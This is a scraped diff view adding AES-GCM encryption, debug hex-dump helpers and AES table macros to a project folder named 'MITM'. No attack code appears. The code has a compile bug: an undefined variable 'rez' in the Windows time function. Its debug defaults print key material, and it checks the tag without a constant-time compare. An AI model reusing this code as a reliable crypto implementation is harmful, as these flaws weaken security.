|
/* function attribute macros */
|
||||||
|
|
||||||
|
#ifndef AES_WARN_UNUSED_RESULT
|
||||||
|
#if defined __GNUC__
|
||||||
|
#define AES_WARN_UNUSED_RESULT __attribute__((__warn_unused_result__))
|
||||||
|
#else
|
||||||
|
#define AES_WARN_UNUSED_RESULT
|
||||||
|
#endif /* __GNUC__ */
|
||||||
|
#endif /* AES_WARN_UNUSED_RESULT */
|
||||||
|
|
||||||
|
#endif /* AES_COMMON_H */
|
166
MITM/aes-debug.c
Normal file
166
MITM/aes-debug.c
Normal file
@ -0,0 +1,166 @@
|
|||||||
|
#define AES_DEBUG
|
||||||
|
|
||||||
|
#include "aes.h"
|
||||||
|
|
||||||
|
int aes_debug_level = MSG_EXCESSIVE;
|
||||||
|
int aes_debug_show_keys = 1;
|
||||||
|
int aes_debug_timestamp = 1;
|
||||||
|
|
||||||
|
#if defined(_MSC_VER) || ( defined(__WIN32__) && !defined(__CYGWIN__))
|
||||||
|
|
||||||
|
#include <time.h>
|
||||||
|
#include <windows.h>
|
||||||
|
|
||||||
|
const __int64 DELTA_EPOCH_IN_MICROSECS= 11644473600000000;
|
||||||
|
|
||||||
|
int gettimeofday(struct timeval *tv, struct timezone *tz)
|
||||||
|
{
|
||||||
|
FILETIME ft;
|
||||||
|
__int64 tmpres = 0;
|
||||||
|
TIME_ZONE_INFORMATION tz_winapi;
|
||||||
|
int ret = 0;
|
||||||
|
|
||||||
|
ZeroMemory(&ft,sizeof(ft));
|
||||||
|
ZeroMemory(&tz_winapi,sizeof(tz_winapi));
|
||||||
|
|
||||||
|
GetSystemTimeAsFileTime(&ft);
|
||||||
|
|
||||||
|
tmpres = ft.dwHighDateTime;
|
||||||
|
tmpres <<= 32;
|
||||||
|
tmpres |= ft.dwLowDateTime;
|
||||||
|
|
||||||
|
/*converting file time to unix epoch*/
|
||||||
|
tmpres /= 10; /*convert into microseconds*/
|
||||||
|
tmpres -= DELTA_EPOCH_IN_MICROSECS;
|
||||||
|
tv->tv_sec = (__int32)(tmpres*0.000001);
|
||||||
|
tv->tv_usec =(tmpres%1000000);
|
||||||
|
|
||||||
|
if (tz) {
|
||||||
|
ret = GetTimeZoneInformation(&tz_winapi);
|
||||||
|
tz->tz_dsttime = (ret == 2) ? true : false;
|
||||||
|
tz->tz_minuteswest = tz_winapi.Bias + ((rez==2)?tz_winapi.DaylightBias:0);
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif
|
||||||
|
|
||||||
|
|
||||||
|
void aes_debug_print_timestamp(void)
|
||||||
|
{
|
||||||
|
struct timeval tv;
|
||||||
|
|
||||||
|
if (!aes_debug_timestamp)
|
||||||
|
return;
|
||||||
|
|
||||||
|
gettimeofday(&tv, NULL);
|
||||||
|
printf("%ld.%06u: ", (long) tv.tv_sec, (unsigned int) tv.tv_usec);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void aes_printf(int level, const char *fmt, ...)
|
||||||
|
{
|
||||||
|
va_list ap;
|
||||||
|
|
||||||
|
va_start(ap, fmt);
|
||||||
|
if (level >= aes_debug_level) {
|
||||||
|
aes_debug_print_timestamp();
|
||||||
|
vprintf(fmt, ap);
|
||||||
|
printf("\n");
|
||||||
|
}
|
||||||
|
va_end(ap);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
static void _aes_hexdump(int level, const char *title, const aes_uchar *buf,
|
||||||
|
size_t len, int show)
|
||||||
|
{
|
||||||
|
size_t i;
|
||||||
|
|
||||||
|
if (level < aes_debug_level)
|
||||||
|
return;
|
||||||
|
|
||||||
|
aes_debug_print_timestamp();
|
||||||
|
printf("%s - hexdump(len=%lu):", title, (unsigned long) len);
|
||||||
|
if (buf == NULL) {
|
||||||
|
printf(" [NULL]");
|
||||||
|
} else if (show) {
|
||||||
|
for (i = 0; i < len; i++)
|
||||||
|
printf(" %02x", buf[i]);
|
||||||
|
} else {
|
||||||
|
printf(" [REDACTED]");
|
||||||
|
}
|
||||||
|
printf("\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void aes_hexdump(int level, const char *title, const void *buf, size_t len)
|
||||||
|
{
|
||||||
|
_aes_hexdump(level, title, buf, len, 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void aes_hexdump_key(int level, const char *title, const void *buf, size_t len)
|
||||||
|
{
|
||||||
|
_aes_hexdump(level, title, buf, len, aes_debug_show_keys);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
static void _aes_hexdump_ascii(int level, const char *title, const void *buf,
|
||||||
|
size_t len, int show)
|
||||||
|
{
|
||||||
|
size_t i, llen;
|
||||||
|
const aes_uchar *pos = buf;
|
||||||
|
const size_t line_len = 16;
|
||||||
|
|
||||||
|
if (level < aes_debug_level)
|
||||||
|
return;
|
||||||
|
|
||||||
|
aes_debug_print_timestamp();
|
||||||
|
if (!show) {
|
||||||
|
printf("%s - hexdump_ascii(len=%lu): [REDACTED]\n",
|
||||||
|
title, (unsigned long) len);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (buf == NULL) {
|
||||||
|
printf("%s - hexdump_ascii(len=%lu): [NULL]\n",
|
||||||
|
title, (unsigned long) len);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
printf("%s - hexdump_ascii(len=%lu):\n", title, (unsigned long) len);
|
||||||
|
while (len) {
|
||||||
|
llen = len > line_len ? line_len : len;
|
||||||
|
printf(" ");
|
||||||
|
for (i = 0; i < llen; i++)
|
||||||
|
printf(" %02x", pos[i]);
|
||||||
|
for (i = llen; i < line_len; i++)
|
||||||
|
printf(" ");
|
||||||
|
printf(" ");
|
||||||
|
for (i = 0; i < llen; i++) {
|
||||||
|
if (isprint(pos[i]))
|
||||||
|
printf("%c", pos[i]);
|
||||||
|
else
|
||||||
|
printf("_");
|
||||||
|
}
|
||||||
|
for (i = llen; i < line_len; i++)
|
||||||
|
printf(" ");
|
||||||
|
printf("\n");
|
||||||
|
pos += llen;
|
||||||
|
len -= llen;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void aes_hexdump_ascii(int level, const char *title, const void *buf,
|
||||||
|
size_t len)
|
||||||
|
{
|
||||||
|
_aes_hexdump_ascii(level, title, buf, len, 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void aes_hexdump_ascii_key(int level, const char *title, const void *buf,
|
||||||
|
size_t len)
|
||||||
|
{
|
||||||
|
_aes_hexdump_ascii(level, title, buf, len, aes_debug_show_keys);
|
||||||
|
}
|
60
MITM/aes-debug.h
Normal file
60
MITM/aes-debug.h
Normal file
@ -0,0 +1,60 @@
|
|||||||
|
#ifndef AES_DEBUG_H
|
||||||
|
#define AES_DEBUG_H
|
||||||
|
|
||||||
|
/* gettimeofday */
|
||||||
|
|
||||||
|
#if defined(_MSC_VER) || ( defined(__WIN32__) && !defined(__CYGWIN__))
|
||||||
|
|
||||||
|
struct timezone
|
||||||
|
{
|
||||||
|
int tz_minuteswest; /* minutes west of Greenwich */
|
||||||
|
int tz_dsttime; /* type of dst correction */
|
||||||
|
};
|
||||||
|
|
||||||
|
struct timeval {
|
||||||
|
int tv_sec;
|
||||||
|
int tv_usec;
|
||||||
|
};
|
||||||
|
|
||||||
|
extern int gettimeofday(struct timeval *tv, struct timezone *tz);
|
||||||
|
|
||||||
|
#else
|
||||||
|
#include <sys/time.h>
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* Debugging function - conditional printf and hex dump */
|
||||||
|
|
||||||
|
enum {
|
||||||
|
MSG_EXCESSIVE, MSG_MSGDUMP, MSG_DEBUG, MSG_INFO, MSG_WARNING, MSG_ERROR
|
||||||
|
};
|
||||||
|
|
||||||
|
extern int aes_debug_level;
|
||||||
|
extern int aes_debug_show_keys;
|
||||||
|
extern int aes_debug_timestamp;
|
||||||
|
|
||||||
|
#ifndef AES_DEBUG
|
||||||
|
|
||||||
|
#define aes_debug_print_timestamp() do { } while (0)
|
||||||
|
#define aes_printf(args...) do { } while (0)
|
||||||
|
#define aes_hexdump(l,t,b,le) do { } while (0)
|
||||||
|
#define aes_hexdump_buf(l,t,b) do { } while (0)
|
||||||
|
#define aes_hexdump_key(l,t,b,le) do { } while (0)
|
||||||
|
#define aes_hexdump_buf_key(l,t,b) do { } while (0)
|
||||||
|
#define aes_hexdump_ascii(l,t,b,le) do { } while (0)
|
||||||
|
#define aes_hexdump_ascii_key(l,t,b,le) do { } while (0)
|
||||||
|
#define aes_dbg(args...) do { } while (0)
|
||||||
|
|
||||||
|
#else
|
||||||
|
void aes_debug_print_timestamp(void);
|
||||||
|
void aes_printf(int level, const char *fmt, ...) __attribute__ ((format (printf, (2), (3))));
|
||||||
|
void aes_hexdump(int level, const char *title, const void *buf, size_t len);
|
||||||
|
void aes_hexdump_key(int level, const char *title, const void *buf, size_t len);
|
||||||
|
void aes_hexdump_ascii(int level, const char *title, const void *buf,
|
||||||
|
size_t len);
|
||||||
|
|
||||||
|
void aes_hexdump_ascii_key(int level, const char *title, const void *buf,
|
||||||
|
size_t len);
|
||||||
|
|
||||||
|
#endif /* AES_DEBUG_STDOUT */
|
||||||
|
|
||||||
|
#endif /* AES_DEBUG_H */
|
312
MITM/aes-gcm.c
Normal file
312
MITM/aes-gcm.c
Normal file
@ -0,0 +1,312 @@
|
|||||||
|
#include "aes.h"
|
||||||
|
|
||||||
|
static void inc32(aes_uchar *block)
|
||||||
|
{
|
||||||
|
aes_uint val;
|
||||||
|
val = AES_GET_BE32(block + AES_BLOCK_SIZE - 4);
|
||||||
|
val++;
|
||||||
|
AES_PUT_BE32(block + AES_BLOCK_SIZE - 4, val);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
static void xor_block(aes_uchar *dst, const aes_uchar *src)
|
||||||
|
{
|
||||||
|
aes_uint *d = (aes_uint *) dst;
|
||||||
|
aes_uint *s = (aes_uint *) src;
|
||||||
|
*d++ ^= *s++;
|
||||||
|
*d++ ^= *s++;
|
||||||
|
*d++ ^= *s++;
|
||||||
|
*d++ ^= *s++;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
static void shift_right_block(aes_uchar *v)
|
||||||
|
{
|
||||||
|
aes_uint val;
|
||||||
|
|
||||||
|
val = AES_GET_BE32(v + 12);
|
||||||
|
val >>= 1;
|
||||||
|
if (v[11] & 0x01)
|
||||||
|
val |= 0x80000000;
|
||||||
|
AES_PUT_BE32(v + 12, val);
|
||||||
|
|
||||||
|
val = AES_GET_BE32(v + 8);
|
||||||
|
val >>= 1;
|
||||||
|
if (v[7] & 0x01)
|
||||||
|
val |= 0x80000000;
|
||||||
|
AES_PUT_BE32(v + 8, val);
|
||||||
|
|
||||||
|
val = AES_GET_BE32(v + 4);
|
||||||
|
val >>= 1;
|
||||||
|
if (v[3] & 0x01)
|
||||||
|
val |= 0x80000000;
|
||||||
|
AES_PUT_BE32(v + 4, val);
|
||||||
|
|
||||||
|
val = AES_GET_BE32(v);
|
||||||
|
val >>= 1;
|
||||||
|
AES_PUT_BE32(v, val);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
/* Multiplication in GF(2^128) */
|
||||||
|
static void gf_mult(const aes_uchar *x, const aes_uchar *y, aes_uchar *z)
|
||||||
|
{
|
||||||
|
aes_uchar v[16];
|
||||||
|
int i, j;
|
||||||
|
|
||||||
|
memset(z, 0, 16); /* Z_0 = 0^128 */
|
||||||
|
memcpy(v, y, 16); /* V_0 = Y */
|
||||||
|
|
||||||
|
for (i = 0; i < 16; i++) {
|
||||||
|
for (j = 0; j < 8; j++) {
|
||||||
|
if (x[i] & 1 << (7 - j)) {
|
||||||
|
/* Z_(i + 1) = Z_i XOR V_i */
|
||||||
|
xor_block(z, v);
|
||||||
|
} else {
|
||||||
|
/* Z_(i + 1) = Z_i */
|
||||||
|
}
|
||||||
|
|
||||||
|
if (v[15] & 0x01) {
|
||||||
|
/* V_(i + 1) = (V_i >> 1) XOR R */
|
||||||
|
shift_right_block(v);
|
||||||
|
/* R = 11100001 || 0^120 */
|
||||||
|
v[0] ^= 0xe1;
|
||||||
|
} else {
|
||||||
|
/* V_(i + 1) = V_i >> 1 */
|
||||||
|
shift_right_block(v);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
static void ghash_start(aes_uchar *y)
|
||||||
|
{
|
||||||
|
/* Y_0 = 0^128 */
|
||||||
|
memset(y, 0, 16);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
static void ghash(const aes_uchar *h, const aes_uchar *x, size_t xlen, aes_uchar *y)
|
||||||
|
{
|
||||||
|
size_t m, i;
|
||||||
|
const aes_uchar *xpos = x;
|
||||||
|
aes_uchar tmp[16];
|
||||||
|
|
||||||
|
m = xlen / 16;
|
||||||
|
|
||||||
|
for (i = 0; i < m; i++) {
|
||||||
|
/* Y_i = (Y^(i-1) XOR X_i) dot H */
|
||||||
|
xor_block(y, xpos);
|
||||||
|
xpos += 16;
|
||||||
|
|
||||||
|
/* dot operation:
|
||||||
|
* multiplication operation for binary Galois (finite) field of
|
||||||
|
* 2^128 elements */
|
||||||
|
gf_mult(y, h, tmp);
|
||||||
|
memcpy(y, tmp, 16);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (x + xlen > xpos) {
|
||||||
|
/* Add zero padded last block */
|
||||||
|
size_t last = x + xlen - xpos;
|
||||||
|
memcpy(tmp, xpos, last);
|
||||||
|
memset(tmp + last, 0, sizeof(tmp) - last);
|
||||||
|
|
||||||
|
/* Y_i = (Y^(i-1) XOR X_i) dot H */
|
||||||
|
xor_block(y, tmp);
|
||||||
|
|
||||||
|
/* dot operation:
|
||||||
|
* multiplication operation for binary Galois (finite) field of
|
||||||
|
* 2^128 elements */
|
||||||
|
gf_mult(y, h, tmp);
|
||||||
|
memcpy(y, tmp, 16);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Return Y_m */
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
static void aes_gctr(void *aes, const aes_uchar *icb, const aes_uchar *x, size_t xlen, aes_uchar *y)
|
||||||
|
{
|
||||||
|
size_t i, n, last;
|
||||||
|
aes_uchar cb[AES_BLOCK_SIZE], tmp[AES_BLOCK_SIZE];
|
||||||
|
const aes_uchar *xpos = x;
|
||||||
|
aes_uchar *ypos = y;
|
||||||
|
|
||||||
|
if (xlen == 0)
|
||||||
|
return;
|
||||||
|
|
||||||
|
n = xlen / 16;
|
||||||
|
|
||||||
|
memcpy(cb, icb, AES_BLOCK_SIZE);
|
||||||
|
/* Full blocks */
|
||||||
|
for (i = 0; i < n; i++) {
|
||||||
|
aes_encrypt(aes, cb, ypos);
|
||||||
|
xor_block(ypos, xpos);
|
||||||
|
xpos += AES_BLOCK_SIZE;
|
||||||
|
ypos += AES_BLOCK_SIZE;
|
||||||
|
inc32(cb);
|
||||||
|
}
|
||||||
|
|
||||||
|
last = x + xlen - xpos;
|
||||||
|
if (last) {
|
||||||
|
/* Last, partial block */
|
||||||
|
aes_encrypt(aes, cb, tmp);
|
||||||
|
for (i = 0; i < last; i++)
|
||||||
|
*ypos++ = *xpos++ ^ tmp[i];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
static void * aes_gcm_init_hash_subkey(const aes_uchar *key, size_t key_len, aes_uchar *H)
|
||||||
|
{
|
||||||
|
void *aes;
|
||||||
|
|
||||||
|
aes = aes_encrypt_init(key, key_len);
|
||||||
|
if (aes == NULL)
|
||||||
|
return NULL;
|
||||||
|
|
||||||
|
/* Generate hash subkey H = AES_K(0^128) */
|
||||||
|
memset(H, 0, AES_BLOCK_SIZE);
|
||||||
|
aes_encrypt(aes, H, H);
|
||||||
|
aes_hexdump_key(MSG_EXCESSIVE, "Hash subkey H for GHASH", H, AES_BLOCK_SIZE);
|
||||||
|
return aes;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
static void aes_gcm_prepare_j0(const aes_uchar *iv, size_t iv_len, const aes_uchar *H, aes_uchar *J0)
|
||||||
|
{
|
||||||
|
aes_uchar len_buf[16];
|
||||||
|
|
||||||
|
if (iv_len == 12) {
|
||||||
|
/* Prepare block J_0 = IV || 0^31 || 1 [len(IV) = 96] */
|
||||||
|
memcpy(J0, iv, iv_len);
|
||||||
|
memset(J0 + iv_len, 0, AES_BLOCK_SIZE - iv_len);
|
||||||
|
J0[AES_BLOCK_SIZE - 1] = 0x01;
|
||||||
|
} else {
|
||||||
|
/*
|
||||||
|
* s = 128 * ceil(len(IV)/128) - len(IV)
|
||||||
|
* J_0 = GHASH_H(IV || 0^(s+64) || [len(IV)]_64)
|
||||||
|
*/
|
||||||
|
ghash_start(J0);
|
||||||
|
ghash(H, iv, iv_len, J0);
|
||||||
|
AES_PUT_BE64(len_buf, 0);
|
||||||
|
AES_PUT_BE64(len_buf + 8, iv_len * 8);
|
||||||
|
ghash(H, len_buf, sizeof(len_buf), J0);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
static void aes_gcm_gctr(void *aes, const aes_uchar *J0, const aes_uchar *in, size_t len,
|
||||||
|
aes_uchar *out)
|
||||||
|
{
|
||||||
|
aes_uchar J0inc[AES_BLOCK_SIZE];
|
||||||
|
|
||||||
|
if (len == 0)
|
||||||
|
return;
|
||||||
|
|
||||||
|
memcpy(J0inc, J0, AES_BLOCK_SIZE);
|
||||||
|
inc32(J0inc);
|
||||||
|
aes_gctr(aes, J0inc, in, len, out);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
static void aes_gcm_ghash(const aes_uchar *H, const aes_uchar *aad, size_t aad_len,
|
||||||
|
const aes_uchar *crypt, size_t crypt_len, aes_uchar *S)
|
||||||
|
{
|
||||||
|
aes_uchar len_buf[16];
|
||||||
|
|
||||||
|
/*
|
||||||
|
* u = 128 * ceil[len(C)/128] - len(C)
|
||||||
|
* v = 128 * ceil[len(A)/128] - len(A)
|
||||||
|
* S = GHASH_H(A || 0^v || C || 0^u || [len(A)]64 || [len(C)]64)
|
||||||
|
* (i.e., zero padded to block size A || C and lengths of each in bits)
|
||||||
|
*/
|
||||||
|
ghash_start(S);
|
||||||
|
ghash(H, aad, aad_len, S);
|
||||||
|
ghash(H, crypt, crypt_len, S);
|
||||||
|
AES_PUT_BE64(len_buf, aad_len * 8);
|
||||||
|
AES_PUT_BE64(len_buf + 8, crypt_len * 8);
|
||||||
|
ghash(H, len_buf, sizeof(len_buf), S);
|
||||||
|
|
||||||
|
aes_hexdump_key(MSG_EXCESSIVE, "S = GHASH_H(...)", S, 16);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* aes_gcm_ae - GCM-AE_K(IV, P, A)
|
||||||
|
*/
|
||||||
|
int aes_gcm_ae(const aes_uchar *key, size_t key_len, const aes_uchar *iv, size_t iv_len,
|
||||||
|
const aes_uchar *plain, size_t plain_len,
|
||||||
|
const aes_uchar *aad, size_t aad_len, aes_uchar *crypt, aes_uchar *tag)
|
||||||
|
{
|
||||||
|
aes_uchar H[AES_BLOCK_SIZE];
|
||||||
|
aes_uchar J0[AES_BLOCK_SIZE];
|
||||||
|
aes_uchar S[16];
|
||||||
|
void *aes;
|
||||||
|
|
||||||
|
aes = aes_gcm_init_hash_subkey(key, key_len, H);
|
||||||
|
if (aes == NULL)
|
||||||
|
return -1;
|
||||||
|
|
||||||
|
aes_gcm_prepare_j0(iv, iv_len, H, J0);
|
||||||
|
|
||||||
|
/* C = GCTR_K(inc_32(J_0), P) */
|
||||||
|
aes_gcm_gctr(aes, J0, plain, plain_len, crypt);
|
||||||
|
|
||||||
|
aes_gcm_ghash(H, aad, aad_len, crypt, plain_len, S);
|
||||||
|
|
||||||
|
/* T = MSB_t(GCTR_K(J_0, S)) */
|
||||||
|
aes_gctr(aes, J0, S, sizeof(S), tag);
|
||||||
|
|
||||||
|
/* Return (C, T) */
|
||||||
|
|
||||||
|
aes_encrypt_deinit(aes);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* aes_gcm_ad - GCM-AD_K(IV, C, A, T)
|
||||||
|
*/
|
||||||
|
int aes_gcm_ad(const aes_uchar *key, size_t key_len, const aes_uchar *iv, size_t iv_len,
|
||||||
|
const aes_uchar *crypt, size_t crypt_len,
|
||||||
|
const aes_uchar *aad, size_t aad_len, const aes_uchar *tag, aes_uchar *plain)
|
||||||
|
{
|
||||||
|
aes_uchar H[AES_BLOCK_SIZE];
|
||||||
|
aes_uchar J0[AES_BLOCK_SIZE];
|
||||||
|
aes_uchar S[16], T[16];
|
||||||
|
void *aes;
|
||||||
|
|
||||||
|
aes = aes_gcm_init_hash_subkey(key, key_len, H);
|
||||||
|
if (aes == NULL)
|
||||||
|
return -1;
|
||||||
|
|
||||||
|
aes_gcm_prepare_j0(iv, iv_len, H, J0);
|
||||||
|
|
||||||
|
/* P = GCTR_K(inc_32(J_0), C) */
|
||||||
|
aes_gcm_gctr(aes, J0, crypt, crypt_len, plain);
|
||||||
|
|
||||||
|
aes_gcm_ghash(H, aad, aad_len, crypt, crypt_len, S);
|
||||||
|
|
||||||
|
/* T' = MSB_t(GCTR_K(J_0, S)) */
|
||||||
|
aes_gctr(aes, J0, S, sizeof(S), T);
|
||||||
|
|
||||||
|
aes_encrypt_deinit(aes);
|
||||||
|
|
||||||
|
if (memcmp(tag, T, 16) != 0) {
|
||||||
|
aes_printf(MSG_EXCESSIVE, "GCM: Tag mismatch");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
int aes_gmac(const aes_uchar *key, size_t key_len, const aes_uchar *iv, size_t iv_len,
|
||||||
|
const aes_uchar *aad, size_t aad_len, aes_uchar *tag)
|
||||||
|
{
|
||||||
|
return aes_gcm_ae(key, key_len, iv, iv_len, NULL, 0, aad, aad_len, NULL, tag);
|
||||||
|
}
|
1021
MITM/aes-internal.c
Normal file
1021
MITM/aes-internal.c
Normal file
File diff suppressed because it is too large
Load Diff
113
MITM/aes-internal.h
Normal file
113
MITM/aes-internal.h
Normal file
@ -0,0 +1,113 @@
|
|||||||
|
#ifndef AES_INTERNAL_H
|
||||||
|
#define AES_INTERNAL_H
|
||||||
|
|
||||||
|
extern const aes_uint Te0[256];
|
||||||
|
extern const aes_uint Te1[256];
|
||||||
|
extern const aes_uint Te2[256];
|
||||||
|
extern const aes_uint Te3[256];
|
||||||
|
extern const aes_uint Te4[256];
|
||||||
|
extern const aes_uint Td0[256];
|
||||||
|
extern const aes_uint Td1[256];
|
||||||
|
extern const aes_uint Td2[256];
|
||||||
|
extern const aes_uint Td3[256];
|
||||||
|
extern const aes_uint Td4[256];
|
||||||
|
extern const aes_uint rcon[10];
|
||||||
|
extern const aes_uchar Td4s[256];
|
||||||
|
extern const aes_uchar rcons[10];
|
||||||
|
|
||||||
|
#ifndef AES_SMALL_TABLES
|
||||||
|
|
||||||
|
#define RCON(i) rcon[(i)]
|
||||||
|
|
||||||
|
#define TE0(i) Te0[((i) >> 24) & 0xff]
|
||||||
|
#define TE1(i) Te1[((i) >> 16) & 0xff]
|
||||||
|
#define TE2(i) Te2[((i) >> 8) & 0xff]
|
||||||
|
#define TE3(i) Te3[(i) & 0xff]
|
||||||
|
#define TE41(i) (Te4[((i) >> 24) & 0xff] & 0xff000000)
|
||||||
|
#define TE42(i) (Te4[((i) >> 16) & 0xff] & 0x00ff0000)
|
||||||
|
#define TE43(i) (Te4[((i) >> 8) & 0xff] & 0x0000ff00)
|
||||||
|
#define TE44(i) (Te4[(i) & 0xff] & 0x000000ff)
|
||||||
|
#define TE421(i) (Te4[((i) >> 16) & 0xff] & 0xff000000)
|
||||||
|
#define TE432(i) (Te4[((i) >> 8) & 0xff] & 0x00ff0000)
|
||||||
|
#define TE443(i) (Te4[(i) & 0xff] & 0x0000ff00)
|
||||||
|
#define TE414(i) (Te4[((i) >> 24) & 0xff] & 0x000000ff)
|
||||||
|
#define TE411(i) (Te4[((i) >> 24) & 0xff] & 0xff000000)
|
||||||
|
#define TE422(i) (Te4[((i) >> 16) & 0xff] & 0x00ff0000)
|
||||||
|
#define TE433(i) (Te4[((i) >> 8) & 0xff] & 0x0000ff00)
|
||||||
|
#define TE444(i) (Te4[(i) & 0xff] & 0x000000ff)
|
||||||
|
#define TE4(i) (Te4[(i)] & 0x000000ff)
|
||||||
|
|
||||||
|
#define TD0(i) Td0[((i) >> 24) & 0xff]
|
||||||
|
#define TD1(i) Td1[((i) >> 16) & 0xff]
|
||||||
|
#define TD2(i) Td2[((i) >> 8) & 0xff]
|
||||||
|
#define TD3(i) Td3[(i) & 0xff]
|
||||||
|
#define TD41(i) (Td4[((i) >> 24) & 0xff] & 0xff000000)
|
||||||
|
#define TD42(i) (Td4[((i) >> 16) & 0xff] & 0x00ff0000)
|
||||||
|
#define TD43(i) (Td4[((i) >> 8) & 0xff] & 0x0000ff00)
|
||||||
|
#define TD44(i) (Td4[(i) & 0xff] & 0x000000ff)
|
||||||
|
#define TD0_(i) Td0[(i) & 0xff]
|
||||||
|
#define TD1_(i) Td1[(i) & 0xff]
|
||||||
|
#define TD2_(i) Td2[(i) & 0xff]
|
||||||
|
#define TD3_(i) Td3[(i) & 0xff]
|
||||||
|
|
||||||
|
#else /* AES_SMALL_TABLES */
|
||||||
|
|
||||||
|
#define RCON(i) (rcons[(i)] << 24)
|
||||||
|
|
||||||
|
static inline aes_uint rotr(aes_uint val, int bits)
|
||||||
|
{
|
||||||
|
return (val >> bits) | (val << (32 - bits));
|
||||||
|
}
|
||||||
|
|
||||||
|
#define TE0(i) Te0[((i) >> 24) & 0xff]
|
||||||
|
#define TE1(i) rotr(Te0[((i) >> 16) & 0xff], 8)
|
||||||
|
#define TE2(i) rotr(Te0[((i) >> 8) & 0xff], 16)
|
||||||
|
#define TE3(i) rotr(Te0[(i) & 0xff], 24)
|
||||||
|
#define TE41(i) ((Te0[((i) >> 24) & 0xff] << 8) & 0xff000000)
|
||||||
|
#define TE42(i) (Te0[((i) >> 16) & 0xff] & 0x00ff0000)
|
||||||
|
#define TE43(i) (Te0[((i) >> 8) & 0xff] & 0x0000ff00)
|
||||||
|
#define TE44(i) ((Te0[(i) & 0xff] >> 8) & 0x000000ff)
|
||||||
|
#define TE421(i) ((Te0[((i) >> 16) & 0xff] << 8) & 0xff000000)
|
||||||
|
#define TE432(i) (Te0[((i) >> 8) & 0xff] & 0x00ff0000)
|
||||||
|
#define TE443(i) (Te0[(i) & 0xff] & 0x0000ff00)
|
||||||
|
#define TE414(i) ((Te0[((i) >> 24) & 0xff] >> 8) & 0x000000ff)
|
||||||
|
#define TE411(i) ((Te0[((i) >> 24) & 0xff] << 8) & 0xff000000)
|
||||||
|
#define TE422(i) (Te0[((i) >> 16) & 0xff] & 0x00ff0000)
|
||||||
|
#define TE433(i) (Te0[((i) >> 8) & 0xff] & 0x0000ff00)
|
||||||
|
#define TE444(i) ((Te0[(i) & 0xff] >> 8) & 0x000000ff)
|
||||||
|
#define TE4(i) ((Te0[(i)] >> 8) & 0x000000ff)
|
||||||
|
|
||||||
|
#define TD0(i) Td0[((i) >> 24) & 0xff]
|
||||||
|
#define TD1(i) rotr(Td0[((i) >> 16) & 0xff], 8)
|
||||||
|
#define TD2(i) rotr(Td0[((i) >> 8) & 0xff], 16)
|
||||||
|
#define TD3(i) rotr(Td0[(i) & 0xff], 24)
|
||||||
|
#define TD41(i) (Td4s[((i) >> 24) & 0xff] << 24)
|
||||||
|
#define TD42(i) (Td4s[((i) >> 16) & 0xff] << 16)
|
||||||
|
#define TD43(i) (Td4s[((i) >> 8) & 0xff] << 8)
|
||||||
|
#define TD44(i) (Td4s[(i) & 0xff])
|
||||||
|
#define TD0_(i) Td0[(i) & 0xff]
|
||||||
|
#define TD1_(i) rotr(Td0[(i) & 0xff], 8)
|
||||||
|
#define TD2_(i) rotr(Td0[(i) & 0xff], 16)
|
||||||
|
#define TD3_(i) rotr(Td0[(i) & 0xff], 24)
|
||||||
|
|
||||||
|
#endif /* AES_SMALL_TABLES */
|
||||||
|
|
||||||
|
#define GETU32(pt) (((aes_uint)(pt)[0] << 24) ^ \
|
||||||
|
((aes_uint)(pt)[1] << 16) ^ \
|
||||||
|
((aes_uint)(pt)[2] << 8) ^ \
|
||||||
|
((aes_uint)(pt)[3]))
|
||||||
|
#define PUTU32(ct, st) { \
|
||||||
|
(ct)[0] = (aes_uchar)((st) >> 24); \
|
||||||
|
(ct)[1] = (aes_uchar)((st) >> 16); \
|
||||||
|
(ct)[2] = (aes_uchar)((st) >> 8); \
|
||||||
|
(ct)[3] = (aes_uchar)(st); }
|
||||||
|
|
||||||
|
#define AES_PRIV_SIZE (4 * 4 * 15 + 4)
|
||||||
|
#define AES_PRIV_NR_POS (4 * 15)
|
||||||
|
|
||||||
|
void aes_rijndael_encrypt(const aes_uint rk[], int Nr, const aes_uchar pt[16], aes_uchar ct[16]);
|
||||||
|
void aes_rijndael_decrypt(const aes_uint rk[], int Nr, const aes_uchar ct[16], aes_uchar pt[16]);
|
||||||
|
int aes_rijndael_key_setup_dec(aes_uint rk[], const aes_uchar cipherKey[], size_t keyBits);
|
||||||
|
int aes_rijndael_key_setup_enc(aes_uint rk[], const aes_uchar cipherKey[], size_t keyBits);
|
||||||
|
|
||||||
|
#endif /* AES_I_H */
|
70
MITM/aes.h
Normal file
70
MITM/aes.h
Normal file
@ -0,0 +1,70 @@
|
|||||||
|
#ifndef AES_H
|
